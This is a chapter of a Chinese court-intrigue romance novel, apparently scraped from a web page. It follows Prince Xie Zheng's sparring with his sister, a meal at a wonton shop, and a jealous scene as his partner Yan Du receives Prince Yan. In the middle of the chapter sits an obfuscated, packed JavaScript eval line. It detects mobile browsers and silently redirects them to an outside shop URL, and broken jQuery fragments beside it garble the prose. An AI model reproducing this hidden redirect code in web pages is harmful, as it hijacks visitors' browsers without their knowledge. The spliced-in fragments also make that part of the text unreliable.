西大营

    明日就是除夕,谢徵便放宽了对新兵的操练,允许他们出营去镇上市集活动,自己则早了几个时辰翻身上马,准备回府。

    营帐外,宋广吾来到马前,禀道:“殿下,下属查出那日扎入船舱壁的柳叶飞刀上涂着水莽草毒,此毒为湘地特有,若刺入人体,可使心口剧痛而亡。”

    谢徵攥着缰绳,默念道:“湘王?”

    晏渡已将那日被湘王认出的事告知于他,湘王目前确实是清楚他二人关系的人,但鲜少有人能蠢到用自己家门口的毒去杀当朝亲王,与其说是湘王有心谋杀,不如说是有人存心嫁祸与他。

    谢徵侧头低声道:“盯着湘王与世子,接着查。”

    “是,”宋广吾又道,“殿下,燕王入京了。”

    谢徵稍有错愕,“什么时候的事?”

    宋广吾道:“今晨,按燕王与护卫的脚程,前日便该入京了,但听说燕王殿下在回金陵途中也遇到了贼人刺杀,身负轻伤,故而耽搁了几日。”

    谢徵沉下心,思忖片刻。

    他与谢垣几乎同时遇刺,幕后指使之人可会相同?若并不相同,又分别是谁出的手?或者说,难道燕王遇刺是柳决派人自导自演的一场戏?

    他纵马行过几座营帐,耳梢处遽然有冷风拂过。

    再定心一瞬,发觉身后果真有异动!

    谢徵暗暗握紧剑鞘,余光斜去,果见一片锋芒——一柄弯刀从侧方袭来。

    他夹紧马腹,猛地拉拽缰绳,转身,拔剑出鞘,横挡弯刀。

    “咣当”一声。

    他看清了来人,紧绷的弦倏然松开,带着些无奈说:“谢昭融,哪有一见哥哥就拔刀的?”

    横持雁翎刀的女子一身艳红劲装,未施粉黛却难掩出挑的相貌,扎着利落的高马尾,微仰着身,接着谢徵的招数,笑道:“三哥,跟我比一招嘛,一路从四川过来,累死了。”

    谢徵收刀入鞘,勒马正身道:“练了大半天,我也累死了,改天再跟你比吧。”

    “你怎么也迟了几天回京?”谢徵道。

    谢昭融抱着弯刀,老实说:“这不是去安庆府转了转嘛,我一个人绕开了那些老顽固,去菱湖和万佛塔玩了两三天,明日才除夕呢,现在入京也不晚呀。”

    “你也知道明日便是除夕?”谢徵纵马,侧过头对她道:“你怎么不再迟两日,过了正旦再回金陵?”

    谢昭融穷追不舍:“明日我就入宫了,不能随意出宫,更不能打打杀——三哥你怎么偷袭?!”

    话音未落,谢徵的剑已经疾快出鞘,一个折腰斜刺,斩断了谢昭融一角艳色衣袖。谢昭融持刀回招,抓着谢徵持剑的空隙,劈砍过去。

    谢徵的剑梢打了个转儿,一招虚晃,谢昭融翻身下马,再转身时已被谢徵的长剑横在了脖前。

    “三年不见,没什么长进啊。”谢徵调侃道,顺势将剑收入鞘。

    “这三年又没带兵打过仗,刀都快生锈了,”谢昭融踩着马镫,扬袖上马,“三哥带我去秦淮月吃顿饭呗,一到金陵就来这西大营找哥哥你来了,没拿钱呢。”

    谢徵拢着双臂,拿看小孩的眼神盯了她半晌,最后道了声:“好吧”。

    儿时,谢徵偶尔带着谢昭融溜出宫来,二人就常来这秦淮月,花上五六文钱,买上一碗小馄饨吃。谢徵一碗吃不饱,就跟堂倌要两碗,谢昭融瞧见了不服,也跟着再要一碗,后来吃撑了还是扶着墙出的酒楼,回宫的时候都不能跟着谢徵翻墙只能钻狗洞了。

    “取两份干的馄饨,装匣里带走。”谢徵对着堂官道。

    谢昭融抬起头,“怎么要两份?三哥回去还要跟昱儿再吃一顿吗?”

    “昱儿正是长身体的年纪,比较能吃。”

    谢昭融“扑哧”一下笑出声,捧着汤碗含混地说:“谢从昱有你这样的爹真是他的福气,明日在宫里头碰见了,我这个当姑姑的指定要跟他说。”

    谢徵在军中待久了,用饭的速度极快,面食之类的一会会就见了底,他取了帕子擦了擦嘴,刚要收回去,就被谢昭融抓住了手腕。

    “谁给三哥绣的帕子呀?”谢昭融注视着帕子上绣着的麒麟,津津说着:“身旁添新人了?不给嫂嫂守贞洁了?”

    这帕子确实是晏渡给绣的,谢徵一直放在衣襟里头贴身带着,不成想捏出来一次就被谢昭融瞧见了,谢徵只能扯谎道:“你嫂嫂生前绣的,我放了十多年。丢了贞洁的男人不如死了算了,我可不兴被你这么乱说哦。”

    听到“嫂嫂生前绣的”这几个字眼,谢昭融旋即蔫了下去,暗暗拍了拍自己的嘴,最后低着头怯懦懦地道:“哥哥,节哀。我下次不乱说了。”

    谢徵听了这话唇角不自觉地上扬,碍于他在外人眼里是真死了老婆的,故而不能笑出声,只能悄然把那点笑意憋回去,故作正色道:“你嫂嫂宅心仁厚,不会跟你计较的。”

    “哥哥……”谢昭融眉宇间那点愧意还未消散,看谢徵面上挂着淡淡的笑意,才敢大声讲话:“为什么你今天说我也迟了几天入京?”

    “哦,谢垣今日也到金陵了。”

    这番话一出,兄妹二人都不约而同地静默了。

    少顷,谢昭融打破了这片沉静,道:“哥,我这趟回来,想看看大皇兄和母后。”

    “嗯,”谢徵道,“我陪你。”

    -

    念着明日就是除夕祭礼,晏渡知会了梁兆、姚颂一声,让他们转达给谢徵说他回府上了。谁料得他方走入暗道,这两人就追了上来,“王爷吩咐过的,要护送王妃平安回府。”

    梁兆跟在晏渡后头,还扬声补充着:“咱们爷说了,护送王妃的时候,禁止碰王妃的手,王妃的胳膊,王妃的……总之哪里都不准碰,只准我们盯着,不能让王妃磕了或是碰了。咱们爷还说,王妃要是哪里有个好歹,就要把我们的脑袋砍下来喂猪。”

    晏渡边听边掩着唇笑,想到他们二人去苏州采买的事,就问:“谢徵令你们去苏州府买什么东西了?”

    这回作答的是姚颂:“王爷让我们买了块和田白玉,说要给王妃打对耳环——呜,梁兆你捂我嘴作甚?”

    “我看你是失心疯了!王爷说要给王妃一个惊喜,你眼下全说了,哪里还有什么惊喜!我看你的脑袋是真要被王爷割下来喂猪了!”

    晏渡嫌他们二人闹腾,低笑着走在前头,偶尔转过身来叮嘱几句:“夜里凉,记得让世子多穿衣裳,免得着凉。”

    梁兆拍拍脑袋:“对对对,我们爷还说了,要是王妃提到让世子添衣裳,一定要先叮嘱王妃多穿衣裳,说王妃身娇体弱,不能冻着、不能冷着,只能好生养着……”

    好聒噪,不愧是跟着谢徵一块长大的人,晏渡暗忖。

    等到了晏府,那两只活宝又把谢徵嘱咐过的事情一五一十又唠叨了一回,晏渡无奈地应下,那二位才下了暗道回王府去。

    陶安闻声而来,禀道:“公子,燕王殿下遣人来说,念及往日师生恩情,今日特意前来拜谒。”

    晏渡初觉意外,稍后便令陶安待会请人至书房内,自己则先去那儿等着了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705216|208230||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    约莫小半个时辰的功夫,书房的门被人轻推开,一身着石蓝锦袍、身姿颀长的人鹤立在门口,启唇道:“学生见过先生。”

    这就是燕王谢垣了。

    晏渡执过礼,看着眼前这位相貌清隽的矜贵皇子,含笑道:“殿下这般真是折煞臣了。”

    除却那双眼,谢垣同谢徵有四五分的相似,皆是随了他们共同的父亲贞宁帝。

    但是望着眼前这个男人,不会让晏渡产生欲,能将他折磨得醉生欲死的是、也只能是谢徵。

    恰此时,身后的折屏后发出了轻微的响动,晏渡侧目望去,心尖一颤。

    谢垣敛袖要去查看,被他拦住:“是风吹的,殿下不必操心。”

    晏渡请人在一侧的圈椅上坐下,倒了盏茶给他,温声道:“西湖龙井,殿下尝尝。”

    谢垣接过那盏茶,抿了小口,“入口柔和,回味清甜不涩,是好茶。”他缓缓将视线挪至晏渡脖颈间,凝望着那一点明显是被人啃咬出的红痕,良久才挪开了眼。

    晏渡知道他在看哪,也无心解释,左右不是自己的丈夫,多说多错。

    “多亏先生前月给燕军批的那笔款项,学生用以购置军火,才足以打赢与鞑靼一战。”谢垣谦声说,目光又无意落在晏渡腕子上那圈痕迹上,暗暗咬了咬牙,“听闻三皇兄因此为难先生了,怒斥先生包庇学生,还请先生莫同三皇兄计较,学生会亲自去三皇兄府上解释的。”

    晏渡被他盯得浑身不自在,恰这个时候,折屏后的书架上有一本书掉到了地上,他攥紧了拳头,对谢垣道:“臣去看看。”

    谢垣也要跟着起身,又被晏渡抬手拦住,“殿下坐着就成。”

    折屏后,谢徵正抱着双臂,一只手里头还拎着个小匣子,一脸怨夫相地死死地盯着他,不置一词,神色里浸满了陈醋味。

    晏渡扯扯嘴角,踮起脚尖,亲亲他的下唇,用着极低的声音道:“夫君,别闹,妾身让他走便是了。”

    谢徵故作高傲地支起下巴,往他腰间摸了一下,将人弄得发.颤,还咬着晏渡的耳尖:“长本事了,还敢当着夫君的面,私会别的男子。”

    晏渡按着书架站稳身子,握着谢徵的手心,狠狠地捏了一下,凑近他面前:“相公别闹,你不是想要姑娘吗,等他走了,我们就生孩子去。”

    “先生?”谢垣起了身,似要来这边查看一番。

    腰侧还被人握着,晏渡脱不得身,只能再踮起脚咬了咬谢徵的下唇,“允执,莫要闹了,等会什么花样都陪你玩,好不好?”

    “你生着病呢,为夫哪敢啊?”谢徵还是不放,不安分的手一路摸下去,带着些胁迫似的:“为夫数到一百,娘子要是还跟别的男子厮混在一起,那么多出几个数……为夫便、举、几、次。”

    折屏上绣着的海棠玉兰色调黯了些,谢垣刚要绕过去,往后瞧,晏渡便走了出来,颊侧微微泛红,“是只老鼠罢了,待会臣令下人来捉了便好,殿下不必担忧。”

    “是只老鼠啊,”谢垣若有所思,“动静还挺大的,要不……我帮先生捉了?”

    “别——”晏渡惊呼出声,摇了摇头,“这只老鼠还咬人呢,莫要咬伤殿下了。”

    谢垣闻此才作罢,坐回圈椅上,“先生,我知道你是为了我才同三哥不和的,我改日去求求三哥,求他日后不要再刁难先生您了。”

    折屏后那只大老鼠又拽了本书卷下来,“砰”的一声。

    晏渡以拳抵着唇,脊背发寒,心知这是谢徵在暗示他——一百到了。